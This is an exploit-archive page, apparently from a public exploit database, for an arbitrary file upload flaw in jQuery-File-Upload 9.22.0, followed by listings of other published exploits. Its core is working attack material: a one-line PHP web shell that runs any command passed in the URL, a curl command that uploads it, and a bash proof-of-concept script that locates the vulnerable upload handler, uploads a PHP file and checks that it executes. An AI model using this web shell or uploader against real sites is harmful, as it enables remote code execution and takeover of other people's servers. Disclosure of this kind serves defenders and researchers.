Menu

Search for hundreds of thousands of exploits

"jQuery-File-Upload 9.22.0 - Arbitrary File Upload"

Author

Exploit author

"Larry W. Cashdollar"

Platform

Exploit platform

php

Release date

Exploit published date

2018-10-11

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
# Title: jQuery-File-Upload 9.22.0 - Arbitrary File Upload
# Author: Larry W. Cashdollar, @_larry0
# Date: 2018-10-09
# Vendor: https://github.com/blueimp
# Download Site: https://github.com/blueimp/jQuery-File-Upload/releases
# CVE-ID: N/A

# Vulnerability:
# The code in https://github.com/blueimp/jQuery-File-Upload/blob/master/server/php/UploadHandler.php 
# doesn't require any validation to upload files to the server.  It also doesn't exclude file types.  
# This allows for remote code execution.

# shell.php:
<?php $cmd=$_GET['cmd']; system($cmd);?>

# Exploit Code:
$ curl -F "files=@shell.php" http://localhost/jQuery-File-Upload-9.22.0/server/php/index.php


#!/bin/bash 



USERAGENT="Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"

PATHS=("server/php/upload.class.php" "example/upload.php" "server/php/UploadHandler.php" "php/index.php")

MALICIOUS_FILE="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 12 | head -n 1).php"



# What is added in this exploit from the original version

# - a bit of refactoring

# - automatically request the right filename if it already exists on server ex: 'file (1).php'

# - Try to detect plugin version,

# - Try to detect index.html (allowing files upload via gui)



# Checking curl & jq



curl -h &>/dev/null

if [ $? -ne 0 ]; then

    echo "[!] Please install curl."

    echo "# apt install curl"

    exit 1

fi



jq -h &>/dev/null

if [ $? -ne 0 ]; then

    echo "[!] Please install jq."

    echo "# apt install jq"

    exit 1

fi



# Checking url



if [ -z $1 ]; then

    echo "[!] Please supply a target host as an argument."

    echo "$0 http://www.example.com"

    exit 1

fi



# Generating payload



echo "<?php echo \"it works\"; unlink(__FILE__); ?>" > ${MALICIOUS_FILE}

echo  "________________________________________________________________________________"

echo  "|PoC Exploit for Blueimp's jQuery File Uploader CVE-2018-9206"

echo  "|Checks for older versions of the code and upload an harmless file."

echo  "|"

echo  "| @_larry0, @phackt_ul"

echo  "|Works for version <= 9.22.0 and with Apache > 2.3.9 (AllowOverride None)."

echo  "---/"

echo

echo  "[+] Checking variations :"



# Creating alias



curl='curl --connect-timeout 10 -sk -A "${USERAGENT}"'



index=-1

found=0



# Looking for upload php class file



for x in ${PATHS[@]}; do

    echo "[*] Testing... -> $1/$x"

    ${curl} -i "$1/$x" | head -1 | grep 200 &>/dev/null



    if [ $? -eq 0 ]; then

        echo "[+] Found Path: $x"

        index=$((${index}+1))

        found=1

        break;

    fi;



    index=$((${index}+1))



done



# Determining the exploit path according to the jquery version



exploit_path=""



if [ ${index} -eq 0 -o ${index} -eq 2 ];then

    exploit_path="server/php/index.php"

fi



if [ ${index} -eq 1 ];then

    exploit_path="example/upload.php"

fi



if [ ${index} -eq 3 ];then

    exploit_path="php/index.php"

fi



if [ ${found} -ne 1 ]; then

    echo "[!] ### Error: A vulnerable jQuery-File-Upload plugin was not found!"

    exit 1

fi



# Trying to detect bower.json, package.json



version_files=("bower.json package.json")



for x in ${version_files[@]}; do

    version=`${curl} "$1/$x" | jq -r .version`

    if [ "X" != "X""${version}" ]; then

        echo "[!] Found: Plugin version ${version}"

        break;

    fi

done



# Trying to detect index.html



${curl} "$1/index.html" | grep -i "jquery file upload" &>/dev/null



if [ $? -eq 0 ]; then

    echo "[!] Found: $1/index.html is accessible"

fi



# Uploading payload



res=""

echo "[+] Running ${curl} -F \"files[]=@${MALICIOUS_FILE}\" -F \"filename=${MALICIOUS_FILE}\" \"$1/${exploit_path}\""



filename=`${curl} -F "files[]=@${MALICIOUS_FILE}" -F "filename=${MALICIOUS_FILE}" "$1/${exploit_path}" | jq -r .files[].name`



if [ "X""${filename}" == "X" ]; then

    echo "[!] It seems that we had a false positive! :("

    exit 1

fi



filename=`echo "$filename" | sed 's/ /%20/g'`



# Trying to see if victim has been exploited



echo "[+] Testing path: $1/$(dirname ${exploit_path})/files/${filename}"

res=`${curl} "$1/$(dirname ${exploit_path})/files/${filename}"`



if [ "${res}" == "it works" ]; then

    echo "[!] Found: $1 is vulnerable"

else

    echo "[+] Seems not vulnerable :("

fi



rm -f "${MALICIOUS_FILE}" &>/dev/null
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-01-16 "Blueimp's jQuery File Upload 9.22.0 - Arbitrary File Upload Exploit" webapps php "Larry W. Cashdollar"
2018-10-11 "jQuery-File-Upload 9.22.0 - Arbitrary File Upload" webapps php "Larry W. Cashdollar"
2018-09-18 "WordPress Plugin Arigato Autoresponder and Newsletter 2.5 - Blind SQL Injection / Reflected Cross-Site Scripting" webapps php "Larry W. Cashdollar"
2018-04-23 "Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure" webapps php "Larry W. Cashdollar"
2017-08-31 "Joomla! Component Huge-IT Video Gallery 1.0.9 - SQL Injection" webapps php "Larry W. Cashdollar"
2017-08-31 "Joomla! Component Huge-IT Portfolio Gallery Plugin 1.0.7 - SQL Injection" webapps php "Larry W. Cashdollar"
2017-08-31 "Joomla! Component Huge-IT Portfolio Gallery Plugin 1.0.6 - SQL Injection" webapps php "Larry W. Cashdollar"
2016-09-22 "Joomla! Component com_videogallerylite 1.0.9 - SQL Injection" webapps php "Larry W. Cashdollar"
2016-09-16 "Joomla! Component Portfolio Gallery 1.0.6 - SQL Injection" webapps php "Larry W. Cashdollar"
2016-09-16 "Joomla! Component Catalog 1.0.7 - SQL Injection" webapps php "Larry W. Cashdollar"
2015-12-30 "DeleGate 9.9.13 - Local Privilege Escalation" local linux "Larry W. Cashdollar"
2015-08-10 "WordPress Plugin Candidate Application Form 1.0 - Arbitrary File Download" webapps php "Larry W. Cashdollar"
2015-08-10 "WordPress Plugin Simple Image Manipulator 1.0 - Arbitrary File Download" webapps php "Larry W. Cashdollar"
2015-08-10 "WordPress Plugin Recent Backups 0.7 - Arbitrary File Download" webapps php "Larry W. Cashdollar"
2015-08-10 "WordPress Plugin WPTF Image Gallery 1.03 - Arbitrary File Download" webapps php "Larry W. Cashdollar"
2015-07-13 "WordPress Plugin Swim Team 1.44.10777 - Arbitrary File Download" webapps php "Larry W. Cashdollar"
2015-07-08 "WordPress Plugin Easy2Map 1.24 - SQL Injection" webapps php "Larry W. Cashdollar"
2015-07-08 "WordPress Plugin WP E-Commerce Shop Styling 2.5 - Arbitrary File Download" webapps php "Larry W. Cashdollar"
2015-06-12 "WordPress Plugin SE HTML5 Album Audio Player 1.1.0 - Directory Traversal" webapps php "Larry W. Cashdollar"
2015-06-12 "WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload" webapps php "Larry W. Cashdollar"
2015-04-02 "WordPress Plugin VideoWhisper Video Conference Integration 4.91.8 - Arbitrary File Upload" webapps php "Larry W. Cashdollar"
2015-04-02 "WordPress Plugin VideoWhisper Video Presentation 3.31.17 - Arbitrary File Upload" webapps php "Larry W. Cashdollar"
2014-11-10 "WordPress Plugin / Joomla! Component XCloner - Multiple Vulnerabilities" webapps php "Larry W. Cashdollar"
2013-07-09 "Solaris Recommended Patch Cluster 6/19 (x86) - Local Privilege Escalation" local linux_x86 "Larry W. Cashdollar"
2013-03-12 "RubyGems fastreader - 'entry_controller.rb' Remote Command Execution" remote multiple "Larry W. Cashdollar"
2013-02-05 "Oracle Automated Service Manager 1.3 - Installation Privilege Escalation" local linux "Larry W. Cashdollar"
2012-12-09 "Centrify Deployment Manager 2.1.0.283 - Local Privilege Escalation" local linux "Larry W. Cashdollar"
2010-03-24 "Sun Connection Update Manager for Solaris - Multiple Insecure Temporary File Creation Vulnerabilities" local solaris "Larry W. Cashdollar"
2003-07-01 "InterSystems Cache 4.1.15/5.0.x - Insecure Default Permissions" local linux "Larry W. Cashdollar"
2003-04-23 "SAP Database 7.3/7.4 - SDBINST Race Condition" local linux "Larry W. Cashdollar"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.